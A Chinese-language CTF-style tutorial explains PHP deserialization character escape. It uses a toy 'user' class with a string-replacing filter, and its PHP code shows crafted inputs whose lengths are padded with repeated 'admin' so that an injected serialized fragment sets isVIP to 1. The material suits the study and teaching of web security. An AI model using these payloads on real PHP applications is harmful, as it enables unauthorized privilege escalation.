php反序列化字符逃逸

文章目录

  • php反序列化字符逃逸
      • php反序列化字符逃逸的原理
      • php反序列化字符逃逸分类
      • 过滤后字符变多
      • 过滤后字符串变少
  • 参考文章:

php反序列化字符逃逸

php反序列化字符逃逸的原理

当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

php反序列化字符逃逸分类

过滤后字符变多

过滤后字符变少

过滤后字符变多

我们先定义一个类 user ,成员变量 usernamepasswordisVIP,并且序列化


class user{
	public $username;
	public $password;
	public $isVIP;

	public function __construct($u,$p){
		$this->username = $u;
		$this->password = $p;
		$this->isVIP = 0;
	}
}
$obj = new user('admin','123456');
$obj = serialize($obj);
echo $obj;

输出:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

我们可以看到,我们user类的对象默认 isVIP=0,并且不受传入参数的影响

这时我们增加一个过滤:

function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}

完整代码:


class user
{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}

$obj = new user('admin','123456');
$obj = filter(serialize($obj));
echo $obj;

输出:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

此时,admin在序列化串中已经变成了 hacker ,并且字符串长度比5多了一个,变成了6

我们对比一下两次的输出:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}//过滤前
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //过滤后

我们想要构造,将 isVIP的值变成 1,如何才能做到呢?admin位置现有字串与目标字串如下:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有字串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标字串

我们知道,传入的admin位置是可控变量 ,所以我们需要在该位置插入目标字串,

目标字串的 "; 将admin参数位置处的双引号闭合,即可造成字符逃逸

但是我们admin参数位置处的字符串长度对应不上,由于我们需要逃逸出来的字符串为:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} 其长度为47.

这就导致我们admin传参位置的参数少了47长度,必须再添加47长度才行,但是怎么添加呢?

我们知道,每次过滤的时候,admin 会变为:hacker 长度加了1,所以我们传参时可以重复47次 admin。这样我们的参数就会增加47长度,再减去逃逸的47长度字符串,长度就合适了。

可控变量修改如下:

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

完整的代码为:


class user
{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}', "123456");
$a = serialize($a);
echo $a.PHP_EOL;
$a = filter($a);
echo $a;
print_r(unserialize($a));

输出:

O:4:"user":3:{s:8:"username";s:282:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}user Object
(
    [username] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
    [password] => 123456
    [isVIP] => 1
)

反序列化后,多余的子串会被抛弃, 在大括号 } 之外的原先字串就被抛弃了:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

我们观察反序列化之后的输出 isVIP=1,反序列化字符串逃逸已经成功了。

过滤后字符串变少

我们将上面过滤参数中 hacker 改为 hack,其余代码不变:


class user
{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($obj) {
    return preg_replace("/admin/","hack",$obj);
}

$obj = new user('admin','123456');
$obj = filter(serialize($obj));
echo $obj;

输出:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

发现如果username值存在admin,会被替换为 hack ,长度减一

此处输出的username值的长度已经不符合5了

我们也要想办法构造,使得 isVIP=1 ,我们对比一下现有子串和目标子串:(长度为47)

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标

php反序列化有一个特性:

当序列化字符串属性的长度不够时,会往后走,直到长度与规定的长度相等为止.

例如,此处序列化字符串属性值 hack 的长度为4,但是原本属性长度为5,所以会往后走1位,属性值为: hack" 把后面的双引号也算进去了。也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。

我们计算一下本可控变量末尾到下一可控变量的长度

";s:8:"password";s:6:"   //长度为22

因为每次过滤都会少一个字符,我们先将 admin重复22遍:


class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;

输出:

{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

php反序列化字符逃逸_第1张图片

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串

即:

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');

我们构造对象,序列化后过滤,再输出:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

20210820131653.png

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加2admin,这样就可以补上缺少的字符。长度再减2

最终代码:


class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;

输出结果:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

image-20210820130134043

这样长度就对上了。我们将反序列化后的对象输出:

user Object
(
    [username] => hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"
    [password] => 123456
    [isVIP] => 1
)

此时 isVIP=1 ,字符逃逸成功!

参考文章:

PHP反序列化字符逃逸详解

你可能感兴趣的:(CTF,php,安全,服务器)